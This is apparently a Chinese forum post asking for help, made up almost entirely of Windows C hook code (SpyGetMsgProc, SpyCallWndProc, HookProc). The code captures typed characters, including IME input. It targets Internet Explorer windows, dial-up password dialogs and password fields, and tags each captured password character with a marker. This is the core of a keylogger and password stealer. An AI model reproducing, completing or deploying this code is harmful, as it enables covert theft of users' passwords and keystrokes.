如题:希望大侠们能帮个忙。在此先行告谢!
BOOL WINAPI HookProc(HWND hwnd, UINT uiMessage, WPARAM wParam, LPARAM lParam)
{
HWND hWnd;
int ret; if(uiMessage ==WM_CHAR || uiMessage ==WM_IME_CHAR)
{
hWnd =GetTopParent(hwnd);
if(IsIEFrame(hWnd))
{
if(uiMessage ==WM_IME_CHAR)
PutChar((unsigned char)(wParam>>8));
PutChar((unsigned char)wParam);
        return TRUE;
}
else if(IsDialFrame(hWnd))
{
PutChar('@');    // 拨号密码
if(uiMessage ==WM_IME_CHAR)  // 汉字
PutChar((unsigned char)(wParam>>8));
PutChar((unsigned char)wParam);
        return TRUE;
}
else if((ret =IsPassInput(hwnd)))
{
if(ret ==1) PutChar('*');
else if(ret ==2) PutChar('%');
else PutChar('~'); if(uiMessage ==WM_IME_CHAR)
PutChar((unsigned char)(wParam>>8));
PutChar((unsigned char)wParam);
        return TRUE;
}
    }    return FALSE;
}LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam)
{
    PMSG pmsg;    pmsg = (PMSG)lParam;    if (hc >= 0 && pmsg && pmsg->hwnd)
    {
        return HookProc(pmsg->hwnd, pmsg->message, pmsg->wParam, pmsg->lParam);
    }    return CallNextHookEx(NULL, hc, wParam, lParam);
}LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam)
{
    PCWPSTRUCT pcwps;    pcwps = (PCWPSTRUCT)lParam;    if (hc >= 0 && pcwps && pcwps->hwnd)
    {
        return HookProc(pcwps->hwnd, pcwps->message, pcwps->wParam, pcwps->lParam);
    }    return CallNextHookEx(NULL, hc, wParam, lParam);
}